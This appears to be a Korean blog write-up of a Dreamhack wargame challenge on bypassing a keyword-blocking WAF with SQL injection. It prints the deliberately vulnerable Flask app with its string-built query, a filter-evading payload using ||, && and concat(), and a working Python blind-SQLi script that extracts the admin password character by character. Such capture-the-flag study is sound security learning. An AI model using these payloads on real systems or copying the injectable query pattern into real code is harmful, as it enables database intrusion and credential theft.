sql injection bypass WAF Advanced 풀이

2024. 4. 25. 04:08Dreamhack Wargame

728x90

문제 제목
문제 정보

app.py

import os
from flask import Flask, request
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)

template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<pre>{result}</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>
'''

keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/', 
            '\n', '\r', '\t', '\x0b', '\x0c', '-', '+']
def check_WAF(data):
    for keyword in keywords:
        if keyword in data.lower():
            return True

    return False


@app.route('/', methods=['POST', 'GET'])
def index():
    uid = request.args.get('uid')
    if uid:
        if check_WAF(uid):
            return 'your request has been blocked by WAF.'
        cur = mysql.connection.cursor()
        cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
        result = cur.fetchone()
        if result:
            return template.format(uid=uid, result=result[1])
        else:
            return template.format(uid=uid, result='')

    else:
        return template


if __name__ == '__main__':
    app.run(host='0.0.0.0')

init.sql

CREATE DATABASE IF NOT EXISTS `users`;
GRANT ALL PRIVILEGES ON users.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';

USE `users`;
CREATE TABLE user(
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null
);

INSERT INTO user(uid, upw) values('abcde', '12345');
INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');
INSERT INTO user(uid, upw) values('dream', 'hack');
FLUSH PRIVILEGES;

 

init.sql을 보면 admin 계정의 비밀번호가 FLAG인걸 알 수 있습니다

 

app.py의 일부분

사용자의 uid를 check_WAF() 함수에 전달해서 keywords에 걸리는 부분이 있는지 검증합니다

기본적으로 SQLi에 사용되는 union, select 등이 필터링되어있습니다

 

필터링 우회

'||(uid=concat('gu','est')&&substr(upw,1,1)='g')#

이런 식으로 쿼리를 넣어서 필터링을 우회하고, Blind SQLi로 풀어주겠습니다

 

import requests
import string

flag = ""
idx = 1
arr = string.ascii_lowercase + string.digits + '{' + '}'

while True:
    for c in arr:
        payload = "http://host3.dreamhack.games:17927/?uid='||uid=concat('ad','min')%26%26substr(upw,{idx},1)='{c}';%23".format(idx=idx, c=c)
        if "admin" in requests.get(payload).text:
            flag += c
            idx += 1
            break
    if flag[-1]=='}':
        break

print("FLAG: ",flag)

FLAG 획득 완료
문제 풀이 성공

728x90

'Dreamhack Wargame' 카테고리의 다른 글

EZ_command_injection 풀이  (0) 2024.05.11
phpMyRedis 풀이  (0) 2024.04.28
Robot Only 풀이  (0) 2023.09.05
[CodeEngn] Malware L08 풀이  (0) 2023.08.30
crt rsa 풀이  (0) 2023.04.24